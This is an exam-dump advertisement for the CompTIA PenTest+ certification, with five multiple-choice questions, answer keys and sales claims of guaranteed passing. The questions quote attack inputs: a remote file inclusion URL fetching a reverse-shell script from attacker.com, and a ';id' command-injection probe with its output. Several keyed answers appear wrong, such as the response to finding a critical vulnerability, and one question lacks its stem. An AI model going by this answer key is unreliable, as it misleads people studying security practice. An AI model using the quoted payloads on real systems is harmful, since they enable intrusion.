PT0-001 Q&As

CompTIA PenTest+ Exam

Pass CompTIA PT0-001 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.geekcert.com/pt0-001.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

- **Instant Download** After Purchase
- **100% Money Back** Guarantee
- **365 Days** Free Update
- **800,000+** Satisfied Customers

QUESTION 1

While monitoring WAF logs, a security analyst discovers a successful attack against the following URL:

https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php

Which of the following remediation steps should be taken to prevent this type of attack?

A. Implement a blacklist.

B. Block URL redirections.

C. Double URL encode the parameters.

D. Stop external calls from the application.

Correct Answer: B

QUESTION 2

A penetration tester is assessing the security of a web form for a client and enters ";id" in one of the fields. The penetration tester observes the following response:

```
uid=33(www data) gid=33(www data) groups=33(www data)
```

Based on the response, which of the following vulnerabilities exists?

A. SQL injection

B. Session hijacking

C. Command injection

D. XSS/XSRF

Correct Answer: C

Reference: https://null-byte.wonderhowto.com/how-to/find-exploits-get-root-with-linux-exploit-suggester-0206005/

QUESTION 3

During testing, a critical vulnerability is discovered on a client\\'s core server. Which of the following should be the NEXT action?

A. Disable the network port of the affected service.

B. Complete all findings, and then submit them to the client.

C. Promptly alert the client with details of the finding.

D. Take the target offline so it cannot be exploited by an attacker.

Correct Answer: A

QUESTION 4

A security guard observes an individual entering the building after scanning a badge. The facility has a strict badge-in and badge-out requirement with a turnstile. The security guard then audits the badge system and finds two log entries for the badge.

A. The badge was cloned.

B. The physical access control server is malfunctioning

C. The system reached the crossover error rate.

D. The employee lost the badge.

Correct Answer: A

QUESTION 5

While presenting the results of a penetration test to a client\\'s executive team, the Chief Information Security Officer (CISO) asks for remediation advice for a shared local administrator finding. The client is geographically dispersed, and centralized management is a key concern. Which of the following is the BEST remediation to suggest?

A. Have random and unique credentials per system.

B. Disable the administrator login from the network.

C. Use a service account for administrative functions.

D. Implement a single rotating password for systems.

Correct Answer: C